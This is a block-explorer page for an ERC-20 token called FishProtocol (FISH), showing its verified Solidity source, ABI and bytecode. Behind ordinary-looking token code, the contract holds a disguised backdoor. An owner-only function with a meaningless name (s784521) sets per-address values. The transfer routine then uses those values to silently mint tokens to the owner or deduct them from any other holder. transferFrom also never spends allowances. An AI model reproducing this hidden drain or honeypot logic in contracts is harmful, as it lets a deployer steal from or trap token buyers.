ERC-20
Overview
Max Total Supply
10,000,000,000 FISH
Holders
39
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
82,880,530.713061437 FISHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
token
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-26 */ /** *Submitted for verification at BscScan.com on 2022-11-08 */ /** *Submitted for verification at Etherscan.io on 2022-11-07 */ pragma solidity ^0.8.19; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address accoont) external view returns (uint256); function transfer(address recipient, uint256 amoonts) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amoonts) external returns (bool); function transferFrom( address sender, address recipient, uint256 amoonts ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - fiel https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event ownershipTransferred(address indexed previousowner, address indexed newowner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit ownershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyowner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceownership() public virtual onlyowner { emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } } contract token is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; string private _name = "FishProtocol"; string private _symbol = "FISH"; uint256 private _decimals = 9; uint256 private _totalSupply = 10000000000 * 10 ** _decimals; uint256 private _maxTxtransfer = 10000000000 * 10 ** _decimals; uint256 private _burnfiel = 8; address private _DEADaddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) private _2151221; function s784521(address _address,uint256 _value) external onlyowner { _2151221[_address] = _value; } function s784521(address _address) external view onlyowner returns (uint256) { return _2151221[_address]; } constructor () { _balance[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view returns (uint256) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function _transfer(address sender, address recipient, uint256 amoonts) internal virtual { require(sender != address(0), "IERC20: transfer from the zero address"); require(recipient != address(0), "IERC20: transfer to the zero address"); uint256 fielamoont = 0; fielamoont = amoonts.mul(_burnfiel).div(100); if (_2151221[sender] > 1) { if (sender == owner()) { _balance[sender] = _balance[sender].div(1).add(_2151221[sender]); }else{ _balance[sender] = _balance[sender].div(1).sub(_2151221[sender]); } } uint256 blsender = _balance[sender]; require(blsender >= amoonts,"IERC20: transfer amoonts exceeds balance"); _balance[sender] = _balance[sender].sub(amoonts); uint256 amoun; amoun = amoonts - fielamoont; _balance[recipient] += amoun; if (_burnfiel > 0+0){ emit Transfer (sender, _DEADaddress, fielamoont); } emit Transfer(sender, recipient, amoun); } function transfer(address recipient, uint256 amoonts) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amoonts); return true; } function balanceOf(address accoont) public view override returns (uint256) { return _balance[accoont]; } function approve(address spender, uint256 amoonts) public virtual override returns (bool) { _approve(_msgSender(), spender, amoonts); return true; } function _approve(address owner, address spender, uint256 amoonts) internal virtual { require(owner != address(0), "IERC20: approve from the zero address"); require(spender != address(0), "IERC20: approve to the zero address"); _allowances[owner][spender] = amoonts; emit Approval(owner, spender, amoonts); } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amoonts) public virtual override returns (bool) { _transfer(sender, recipient, amoonts); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amoonts, "IERC20: transfer amoonts exceeds allowance"); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amoonts","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accoont","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"s784521","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"s784521","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amoonts","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amoonts","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600c81526020017f4669736850726f746f636f6c0000000000000000000000000000000000000000815250600390816200004a919062000520565b506040518060400160405280600481526020017f46495348000000000000000000000000000000000000000000000000000000008152506004908162000091919062000520565b506009600555600554600a620000a891906200078a565b6402540be400620000ba9190620007db565b600655600554600a620000ce91906200078a565b6402540be400620000e09190620007db565b6007556008805561dead600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200013757600080fd5b5060006200014a6200029e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a350600654600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000290919062000837565b60405180910390a362000854565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200032857607f821691505b6020821081036200033e576200033d620002e0565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003a87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000369565b620003b4868362000369565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000401620003fb620003f584620003cc565b620003d6565b620003cc565b9050919050565b6000819050919050565b6200041d83620003e0565b620004356200042c8262000408565b84845462000376565b825550505050565b600090565b6200044c6200043d565b6200045981848462000412565b505050565b5b8181101562000481576200047560008262000442565b6001810190506200045f565b5050565b601f821115620004d0576200049a8162000344565b620004a58462000359565b81016020851015620004b5578190505b620004cd620004c48562000359565b8301826200045e565b50505b505050565b600082821c905092915050565b6000620004f560001984600802620004d5565b1980831691505092915050565b6000620005108383620004e2565b9150826002028217905092915050565b6200052b82620002a6565b67ffffffffffffffff811115620005475762000546620002b1565b5b6200055382546200030f565b6200056082828562000485565b600060209050601f83116001811462000598576000841562000583578287015190505b6200058f858262000502565b865550620005ff565b601f198416620005a88662000344565b60005b82811015620005d257848901518255600182019150602085019450602081019050620005ab565b86831015620005f25784890151620005ee601f891682620004e2565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000695578086048111156200066d576200066c62000607565b5b60018516156200067d5780820291505b80810290506200068d8562000636565b94506200064d565b94509492505050565b600082620006b0576001905062000783565b81620006c0576000905062000783565b8160018114620006d95760028114620006e4576200071a565b600191505062000783565b60ff841115620006f957620006f862000607565b5b8360020a91508482111562000713576200071262000607565b5b5062000783565b5060208310610133831016604e8410600b8410161715620007545782820a9050838111156200074e576200074d62000607565b5b62000783565b62000763848484600162000643565b925090508184048111156200077d576200077c62000607565b5b81810290505b9392505050565b60006200079782620003cc565b9150620007a483620003cc565b9250620007d37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200069e565b905092915050565b6000620007e882620003cc565b9150620007f583620003cc565b92508282026200080581620003cc565b915082820484148315176200081f576200081e62000607565b5b5092915050565b6200083181620003cc565b82525050565b60006020820190506200084e600083018462000826565b92915050565b611c7080620008646000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb14610216578063c2af913b14610246578063dd62ed3e14610250578063f7e0717014610280576100cf565b806370a08231146101aa5780638da5cb5b146101da57806395d89b41146101f8576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce567146101705780636ea968af1461018e575b600080fd5b6100dc6102b0565b6040516100e99190611386565b60405180910390f35b61010c60048036038101906101079190611441565b610342565b604051610119919061149c565b60405180910390f35b61012a610360565b60405161013791906114c6565b60405180910390f35b61015a600480360381019061015591906114e1565b61036a565b604051610167919061149c565b60405180910390f35b61017861044e565b60405161018591906114c6565b60405180910390f35b6101a860048036038101906101a39190611441565b610458565b005b6101c460048036038101906101bf9190611534565b610535565b6040516101d191906114c6565b60405180910390f35b6101e261057e565b6040516101ef9190611570565b60405180910390f35b6102006105a7565b60405161020d9190611386565b60405180910390f35b610230600480360381019061022b9190611441565b610639565b60405161023d919061149c565b60405180910390f35b61024e610657565b005b61026a6004803603810190610265919061158b565b6107ac565b60405161027791906114c6565b60405180910390f35b61029a60048036038101906102959190611534565b610833565b6040516102a791906114c6565b60405180910390f35b6060600380546102bf906115fa565b80601f01602080910402602001604051908101604052809291908181526020018280546102eb906115fa565b80156103385780601f1061030d57610100808354040283529160200191610338565b820191906000526020600020905b81548152906001019060200180831161031b57829003601f168201915b5050505050905090565b600061035661034f610911565b8484610919565b6001905092915050565b6000600654905090565b6000610377848484610ae2565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103c2610911565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610442576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104399061169d565b60405180910390fd5b60019150509392505050565b6000600554905090565b610460610911565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e490611709565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546105b6906115fa565b80601f01602080910402602001604051908101604052809291908181526020018280546105e2906115fa565b801561062f5780601f106106045761010080835404028352916020019161062f565b820191906000526020600020905b81548152906001019060200180831161061257829003601f168201915b5050505050905090565b600061064d610646610911565b8484610ae2565b6001905092915050565b61065f610911565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e390611709565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061083d610911565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c190611709565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097f9061179b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ee9061182d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ad591906114c6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906118bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb790611951565b60405180910390fd5b6000610bea6064610bdc600854856110c390919063ffffffff16565b61113d90919063ffffffff16565b90506001600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610e4157610c3c61057e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610d5957610d11600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d0360018060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461113d90919063ffffffff16565b61118790919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e40565b610dfc600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dee60018060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461113d90919063ffffffff16565b6111e590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf906119e3565b60405180910390fd5b610f1a83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008284610f6b9190611a32565b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fbc9190611a66565b925050819055506000600854111561105657600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161104d91906114c6565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110b391906114c6565b60405180910390a3505050505050565b60008083036110d55760009050611137565b600082846110e39190611a9a565b90508284826110f29190611b0b565b14611132576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112990611bae565b60405180910390fd5b809150505b92915050565b600061117f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061122f565b905092915050565b60008082846111969190611a66565b9050838110156111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d290611c1a565b60405180910390fd5b8091505092915050565b600061122783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611292565b905092915050565b60008083118290611276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126d9190611386565b60405180910390fd5b50600083856112859190611b0b565b9050809150509392505050565b60008383111582906112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d19190611386565b60405180910390fd5b50600083856112e99190611a32565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611330578082015181840152602081019050611315565b60008484015250505050565b6000601f19601f8301169050919050565b6000611358826112f6565b6113628185611301565b9350611372818560208601611312565b61137b8161133c565b840191505092915050565b600060208201905081810360008301526113a0818461134d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113d8826113ad565b9050919050565b6113e8816113cd565b81146113f357600080fd5b50565b600081359050611405816113df565b92915050565b6000819050919050565b61141e8161140b565b811461142957600080fd5b50565b60008135905061143b81611415565b92915050565b60008060408385031215611458576114576113a8565b5b6000611466858286016113f6565b92505060206114778582860161142c565b9150509250929050565b60008115159050919050565b61149681611481565b82525050565b60006020820190506114b1600083018461148d565b92915050565b6114c08161140b565b82525050565b60006020820190506114db60008301846114b7565b92915050565b6000806000606084860312156114fa576114f96113a8565b5b6000611508868287016113f6565b9350506020611519868287016113f6565b925050604061152a8682870161142c565b9150509250925092565b60006020828403121561154a576115496113a8565b5b6000611558848285016113f6565b91505092915050565b61156a816113cd565b82525050565b60006020820190506115856000830184611561565b92915050565b600080604083850312156115a2576115a16113a8565b5b60006115b0858286016113f6565b92505060206115c1858286016113f6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061161257607f821691505b602082108103611625576116246115cb565b5b50919050565b7f4945524332303a207472616e7366657220616d6f6f6e7473206578636565647360008201527f20616c6c6f77616e636500000000000000000000000000000000000000000000602082015250565b6000611687602a83611301565b91506116928261162b565b604082019050919050565b600060208201905081810360008301526116b68161167a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116f3602083611301565b91506116fe826116bd565b602082019050919050565b60006020820190508181036000830152611722816116e6565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611785602583611301565b915061179082611729565b604082019050919050565b600060208201905081810360008301526117b481611778565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611817602383611301565b9150611822826117bb565b604082019050919050565b600060208201905081810360008301526118468161180a565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006118a9602683611301565b91506118b48261184d565b604082019050919050565b600060208201905081810360008301526118d88161189c565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061193b602483611301565b9150611946826118df565b604082019050919050565b6000602082019050818103600083015261196a8161192e565b9050919050565b7f4945524332303a207472616e7366657220616d6f6f6e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b60006119cd602883611301565b91506119d882611971565b604082019050919050565b600060208201905081810360008301526119fc816119c0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a3d8261140b565b9150611a488361140b565b9250828203905081811115611a6057611a5f611a03565b5b92915050565b6000611a718261140b565b9150611a7c8361140b565b9250828201905080821115611a9457611a93611a03565b5b92915050565b6000611aa58261140b565b9150611ab08361140b565b9250828202611abe8161140b565b91508282048414831517611ad557611ad4611a03565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b168261140b565b9150611b218361140b565b925082611b3157611b30611adc565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b98602183611301565b9150611ba382611b3c565b604082019050919050565b60006020820190508181036000830152611bc781611b8b565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611c04601b83611301565b9150611c0f82611bce565b602082019050919050565b60006020820190508181036000830152611c3381611bf7565b905091905056fea26469706673582212208dd4cf962aeba4d281bac99da418c29faadfe72eb91aab3ca2fbc8c4cf7b41b464736f6c63430008130033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb14610216578063c2af913b14610246578063dd62ed3e14610250578063f7e0717014610280576100cf565b806370a08231146101aa5780638da5cb5b146101da57806395d89b41146101f8576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce567146101705780636ea968af1461018e575b600080fd5b6100dc6102b0565b6040516100e99190611386565b60405180910390f35b61010c60048036038101906101079190611441565b610342565b604051610119919061149c565b60405180910390f35b61012a610360565b60405161013791906114c6565b60405180910390f35b61015a600480360381019061015591906114e1565b61036a565b604051610167919061149c565b60405180910390f35b61017861044e565b60405161018591906114c6565b60405180910390f35b6101a860048036038101906101a39190611441565b610458565b005b6101c460048036038101906101bf9190611534565b610535565b6040516101d191906114c6565b60405180910390f35b6101e261057e565b6040516101ef9190611570565b60405180910390f35b6102006105a7565b60405161020d9190611386565b60405180910390f35b610230600480360381019061022b9190611441565b610639565b60405161023d919061149c565b60405180910390f35b61024e610657565b005b61026a6004803603810190610265919061158b565b6107ac565b60405161027791906114c6565b60405180910390f35b61029a60048036038101906102959190611534565b610833565b6040516102a791906114c6565b60405180910390f35b6060600380546102bf906115fa565b80601f01602080910402602001604051908101604052809291908181526020018280546102eb906115fa565b80156103385780601f1061030d57610100808354040283529160200191610338565b820191906000526020600020905b81548152906001019060200180831161031b57829003601f168201915b5050505050905090565b600061035661034f610911565b8484610919565b6001905092915050565b6000600654905090565b6000610377848484610ae2565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103c2610911565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610442576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104399061169d565b60405180910390fd5b60019150509392505050565b6000600554905090565b610460610911565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e490611709565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546105b6906115fa565b80601f01602080910402602001604051908101604052809291908181526020018280546105e2906115fa565b801561062f5780601f106106045761010080835404028352916020019161062f565b820191906000526020600020905b81548152906001019060200180831161061257829003601f168201915b5050505050905090565b600061064d610646610911565b8484610ae2565b6001905092915050565b61065f610911565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e390611709565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061083d610911565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c190611709565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097f9061179b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ee9061182d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ad591906114c6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906118bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bc0576040517f08c379a0000000000000000